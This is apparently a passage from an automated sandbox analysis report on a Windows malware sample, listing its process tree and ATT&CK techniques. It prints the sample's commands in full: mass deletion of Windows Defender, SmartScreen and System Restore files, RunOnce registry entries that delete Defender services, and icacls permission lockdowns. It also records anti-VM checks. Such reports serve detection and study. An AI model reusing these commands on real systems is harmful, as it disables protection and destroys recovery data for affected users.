ysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4904
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4900
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3880
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:4076
        
        C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:4608
        
        C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:2948
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4168"
        7⤵
        Executes a command shell one-liner
        
        PID:4144
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "4168"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2956
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
        6⤵
        Modifies data under HKEY_USERS
        
        PID:1332
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
        6⤵
        
        PID:2528
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1760
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2i6021.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2i6021.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4580

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1E06g6.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1E06g6.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\01IOHfYR.exe" /setowner "SYSTEM"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Windows\01IOHfYR.exe" /setowner "SYSTEM"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5080
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\01IOHfYR.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1696
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Windows\01IOHfYR.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
    3⤵
    - Modifies file permissions
    PID:3788
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c icacls "C:\Windows\01IOHfYR.exe" /remove:d Everyone Administrators
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Windows\01IOHfYR.exe" /remove:d Everyone Administrators
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:4412
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:3016
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 536
    3⤵
    - Program crash
    PID:2240
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4908
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 508
    3⤵
    - Program crash
    PID:2340
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4780
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 508
    3⤵
    - Program crash
    PID:4684
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:856
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 856 -s 508
    3⤵
    - Program crash
    PID:1956
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4852
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4852 -s 516
    3⤵
    - Program crash
    PID:1656
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:2368
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2368 -s 508
    3⤵
    - Program crash
    PID:1172
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4932
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4932 -s 508
    3⤵
    - Program crash
    PID:2248
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:2468
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2468 -s 516
    3⤵
    - Program crash
    PID:3492
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:3220
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3220 -s 508
    3⤵
    - Program crash
    PID:1620
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4952
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 508
    3⤵
    - Program crash
    PID:3076
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:2472
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2472 -s 508
    3⤵
    - Program crash
    PID:216
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4480
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 508
    3⤵
    - Program crash
    PID:1540
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:1220
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1220 -s 508
    3⤵
    - Program crash
    PID:1536
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4580
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4580 -s 508
    3⤵
    - Program crash
    PID:3488
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:948
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 508
    3⤵
    - Program crash
    PID:3040
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4660
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4660 -s 508
    3⤵
    - Program crash
    PID:2520
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4732
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4732 -s 508
    3⤵
    - Program crash
    PID:3904
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4720
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4720 -s 508
    3⤵
    - Program crash
    PID:5040
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:3584
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3584 -s 508
    3⤵
    - Program crash
    PID:4600
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4592
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4592 -s 508
    3⤵
    - Program crash
    PID:4236
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:3088
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3088 -s 508
    3⤵
    - Program crash
    PID:4456
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4300
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 184
    3⤵
    - Program crash
    PID:4964
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:1332
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1332 -s 508
    3⤵
    - Program crash
    PID:2616
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:1708
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 508
    3⤵
    - Program crash
    PID:4844
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4632
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 512
    3⤵
    - Program crash
    PID:2968
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:5028
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5028 -s 508
    3⤵
    - Program crash
    PID:1144
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:1816
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 508
    3⤵
    - Program crash
    PID:2656
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:804
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 804 -s 508
    3⤵
    - Program crash
    PID:4816
- C:\Windows\01IOHfYR.exe
  "C:\Windows\01IOHfYR.exe"
  2⤵
  - Executes dropped EXE
  PID:4352
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 508
    3⤵
    - Program crash
    PID:3556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 200 -p 3016 -ip 3016
1⤵
PID:2244

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4908 -ip 4908
1⤵
PID:4296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4780 -ip 4780
1⤵
PID:1792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 856 -ip 856
1⤵
PID:4108

C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
1⤵
- Executes dropped EXE
PID:2880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 4852 -ip 4852
1⤵
PID:3988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2368 -ip 2368
1⤵
PID:4684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4932 -ip 4932
1⤵
PID:4844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2468 -ip 2468
1⤵
PID:456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 3220 -ip 3220
1⤵
PID:636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 4952 -ip 4952
1⤵
PID:4272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 2472 -ip 2472
1⤵
PID:5080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4480 -ip 4480
1⤵
PID:4840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 1220 -ip 1220
1⤵
PID:3120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 4580 -ip 4580
1⤵
PID:220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 948 -ip 948
1⤵
PID:2344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4660 -ip 4660
1⤵
PID:5048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4732 -ip 4732
1⤵
PID:3248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4720 -ip 4720
1⤵
PID:4680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3584 -ip 3584
1⤵
PID:740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 4592 -ip 4592
1⤵
PID:2808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 3088 -ip 3088
1⤵
PID:2244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4300 -ip 4300
1⤵
PID:2880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 1332 -ip 1332
1⤵
PID:2528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1708 -ip 1708
1⤵
PID:3228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 4632 -ip 4632
1⤵
PID:4920

C:\Windows\system32\cmd.exe
cmd.exe /c start " " "C:\Windows\winloghelper.exe"
1⤵
- Executes a command shell one-liner
PID:4220
- C:\Windows\winloghelper.exe
  "C:\Windows\winloghelper.exe"
  2⤵
  - Executes dropped EXE
  PID:420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 5028 -ip 5028
1⤵
PID:3700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 1816 -ip 1816
1⤵
PID:1572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 804 -ip 804
1⤵
PID:4212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 4352 -ip 4352
1⤵
PID:1772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion